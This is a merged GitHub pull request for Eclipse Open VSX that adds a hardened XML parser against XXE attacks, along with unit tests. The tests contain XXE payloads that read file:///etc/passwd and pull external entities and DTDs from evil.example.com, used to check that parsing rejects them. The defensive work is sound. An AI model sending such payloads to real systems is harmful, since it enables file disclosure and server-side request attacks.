-
Notifications
You must be signed in to change notification settings - Fork 332
Fix: protect sitemap parsing from possible XXE attacks #1876
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Merged
Merged
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
123 changes: 123 additions & 0 deletions
123
server/src/main/java/org/eclipse/openvsx/util/XmlUtil.java
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,123 @@ | ||
| /****************************************************************************** | ||
| * Copyright (c) 2026 Contributors to the Eclipse Foundation. | ||
| * | ||
| * See the NOTICE file(s) distributed with this work for additional | ||
| * information regarding copyright ownership. | ||
| * | ||
| * This program and the accompanying materials are made available under the | ||
| * terms of the Eclipse Public License 2.0 which is available at | ||
| * https://www.eclipse.org/legal/epl-2.0. | ||
| * | ||
| * SPDX-License-Identifier: EPL-2.0 | ||
| *****************************************************************************/ | ||
| package org.eclipse.openvsx.util; | ||
|
|
||
| import jakarta.annotation.Nullable; | ||
| import org.slf4j.Logger; | ||
| import org.slf4j.LoggerFactory; | ||
| import org.w3c.dom.Document; | ||
| import org.xml.sax.InputSource; | ||
| import org.xml.sax.SAXException; | ||
|
|
||
| import javax.xml.XMLConstants; | ||
| import javax.xml.parsers.DocumentBuilder; | ||
| import javax.xml.parsers.DocumentBuilderFactory; | ||
| import javax.xml.parsers.ParserConfigurationException; | ||
| import java.io.IOException; | ||
| import java.io.StringReader; | ||
|
|
||
| public class XmlUtil { | ||
|
|
||
| private static final Logger LOGGER = LoggerFactory.getLogger(XmlUtil.class); | ||
|
|
||
| private XmlUtil() {} | ||
|
|
||
| /** | ||
| * Parses the provided string as an XML document using a safe {@code DocumentBuilder} | ||
| * instance to prevent XXE attacks. | ||
| * | ||
| * @param input the XML document as string | ||
| * @return a {@code Document} instance if parsing succeeded, or {@code null} otherwise. | ||
| */ | ||
| public static @Nullable Document safeParse(String input) { | ||
| try (var reader = new StringReader(input)) { | ||
| var builder = safeDocumentBuilder(); | ||
| if (builder != null) { | ||
| return builder.parse(new InputSource(reader)); | ||
Check failureCode scanning / CodeQL Resolving XML external entity in user-controlled data Critical
XML parsing depends on a
user-provided value Error loading related location Loading |
||
| } | ||
| } catch (SAXException | IOException e) { | ||
| LOGGER.error("Failed to parse XML Document: {}", e.getMessage()); | ||
| } | ||
|
|
||
| return null; | ||
| } | ||
|
|
||
| private static DocumentBuilder safeDocumentBuilder() { | ||
| // construct a safe DocumentBuilder to prevent XXE attacks | ||
| // https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html#jaxp-documentbuilderfactory-saxparserfactory-and-dom4j | ||
|
|
||
| DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); | ||
|
|
||
| String[] featuresToEnable = { | ||
| // This is the PRIMARY defense. If DTDs (doctypes) are disallowed, almost all | ||
| // XML entity attacks are prevented | ||
| // Xerces 2 only - http://xerces.apache.org/xerces2-j/features.html#disallow-doctype-decl | ||
| "http://apache.org/xml/features/disallow-doctype-decl", | ||
| }; | ||
|
|
||
| String[] featuresToDisable = { | ||
| // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-general-entities | ||
| // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-general-entities | ||
| // JDK7+ - http://xml.org/sax/features/external-general-entities | ||
| // This feature has to be used together with the following one, otherwise it will not protect you from XXE for sure | ||
| "http://xml.org/sax/features/external-general-entities", | ||
|
|
||
| // Xerces 1 - http://xerces.apache.org/xerces-j/features.html#external-parameter-entities | ||
| // Xerces 2 - http://xerces.apache.org/xerces2-j/features.html#external-parameter-entities | ||
| // JDK7+ - http://xml.org/sax/features/external-parameter-entities | ||
| // This feature has to be used together with the previous one, otherwise it will not protect you from XXE for sure | ||
| "http://xml.org/sax/features/external-parameter-entities", | ||
|
|
||
| // Disable external DTDs as well | ||
| "http://apache.org/xml/features/nonvalidating/load-external-dtd" | ||
| }; | ||
|
|
||
| for (String feature : featuresToEnable) { | ||
| try { | ||
| dbf.setFeature(feature, true); | ||
| } catch (ParserConfigurationException e) { | ||
| LOGGER.debug("The feature '{}' is not supported by your XML processor.", feature); | ||
| } | ||
| } | ||
|
|
||
| for (String feature : featuresToDisable) { | ||
| try { | ||
| dbf.setFeature(feature, false); | ||
| } catch (ParserConfigurationException e) { | ||
| LOGGER.debug("The feature '{}' is not supported by your XML processor.", feature); | ||
| } | ||
| } | ||
|
|
||
| try { | ||
| // Add these as per Timothy Morgan's 2014 paper: "XML Schema, DTD, and Entity Attacks" | ||
| dbf.setXIncludeAware(false); | ||
| dbf.setExpandEntityReferences(false); | ||
|
|
||
| // As stated in the documentation, "Feature for Secure Processing (FSP)" is the central mechanism that will | ||
| // help you safeguard XML processing. It instructs XML processors, such as parsers, validators, | ||
| // and transformers, to try and process XML securely, and the FSP can be used as an alternative to | ||
| // dbf.setExpandEntityReferences(false); to allow some safe level of Entity Expansion | ||
| // Exists from JDK6. | ||
| dbf.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true); | ||
|
|
||
| var builder = dbf.newDocumentBuilder(); | ||
| // disable explicit logging in the xml parser | ||
| builder.setErrorHandler(null); | ||
| return builder; | ||
| } catch (ParserConfigurationException e) { | ||
| LOGGER.error("Could not build a safe XML processor: {}", e.getMessage()); | ||
| } | ||
|
|
||
| return null; | ||
| } | ||
| } | ||
105 changes: 105 additions & 0 deletions
105
server/src/test/java/org/eclipse/openvsx/util/XmlUtilTest.java
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,105 @@ | ||
| /****************************************************************************** | ||
| * Copyright (c) 2026 Contributors to the Eclipse Foundation. | ||
| * | ||
| * See the NOTICE file(s) distributed with this work for additional | ||
| * information regarding copyright ownership. | ||
| * | ||
| * This program and the accompanying materials are made available under the | ||
| * terms of the Eclipse Public License 2.0 which is available at | ||
| * https://www.eclipse.org/legal/epl-2.0. | ||
| * | ||
| * SPDX-License-Identifier: EPL-2.0 | ||
| *****************************************************************************/ | ||
| package org.eclipse.openvsx.util; | ||
|
|
||
| import org.junit.jupiter.api.Test; | ||
|
|
||
| import static org.assertj.core.api.AssertionsForClassTypes.assertThat; | ||
|
|
||
| public class XmlUtilTest { | ||
|
|
||
| @Test | ||
| public void parseSafeXml() { | ||
| var input = """ | ||
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <root> | ||
| <data>test</data> | ||
| </root> | ||
| """; | ||
|
|
||
| var document = XmlUtil.safeParse(input); | ||
| assertThat(document).isNotNull(); | ||
| assertThat(document.getDocumentElement()).isNotNull(); | ||
| } | ||
|
|
||
| @Test | ||
| void shouldRejectXmlWithInlineDoctypeEntityDeclaration() { | ||
| // Tests the disallow-doctype-decl feature: any DOCTYPE declaration | ||
| // must be rejected to prevent local entity injection | ||
| var input = """ | ||
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <!DOCTYPE urlset [<!ENTITY secret "sensitive-data">]> | ||
| <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> | ||
| </urlset> | ||
| """; | ||
|
|
||
| assertThat(XmlUtil.safeParse(input)).isNull(); | ||
| } | ||
|
|
||
| @Test | ||
| public void shouldRejectXmlWithInlineDoctypeEntityDeclaration2() { | ||
| var input = """ | ||
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> | ||
| <root> | ||
| <data>&xxe;</data> | ||
| </root> | ||
| """; | ||
|
|
||
| var document = XmlUtil.safeParse(input); | ||
| assertThat(document).isNull(); | ||
| } | ||
|
|
||
| @Test | ||
| void shouldRejectXmlWithExternalGeneralEntityReference() { | ||
| // Tests the external-general-entities feature: external system entity | ||
| // references (classic XXE attack vector) must be rejected | ||
| var input = """ | ||
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <!DOCTYPE urlset [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> | ||
| <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> | ||
| <url><loc>&xxe;</loc></url> | ||
| </urlset> | ||
| """; | ||
|
|
||
| assertThat(XmlUtil.safeParse(input)).isNull(); | ||
| } | ||
|
|
||
| @Test | ||
| void shouldRejectXmlWithExternalParameterEntityReference() { | ||
| // Tests the external-parameter-entities feature: parameter entity | ||
| // references that pull in external content must be rejected | ||
| var input = """ | ||
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <!DOCTYPE urlset [<!ENTITY % remote SYSTEM "http://evil.example.com/evil.xml"> %remote;]> | ||
| <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> | ||
| </urlset> | ||
| """; | ||
|
|
||
| assertThat(XmlUtil.safeParse(input)).isNull(); | ||
| } | ||
|
|
||
| @Test | ||
| void shouldRejectXmlWithExternalDtdReference() { | ||
| // Tests the ACCESS_EXTERNAL_DTD attribute: external DTD system | ||
| // identifiers must not be fetched | ||
| var input = """ | ||
| <?xml version="1.0" encoding="UTF-8"?> | ||
| <!DOCTYPE urlset SYSTEM "http://evil.example.com/evil.dtd"> | ||
| <urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"> | ||
| </urlset> | ||
| """; | ||
|
|
||
| assertThat(XmlUtil.safeParse(input)).isNull(); | ||
| } | ||
| } |
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
Uh oh!
There was an error while loading. Please reload this page.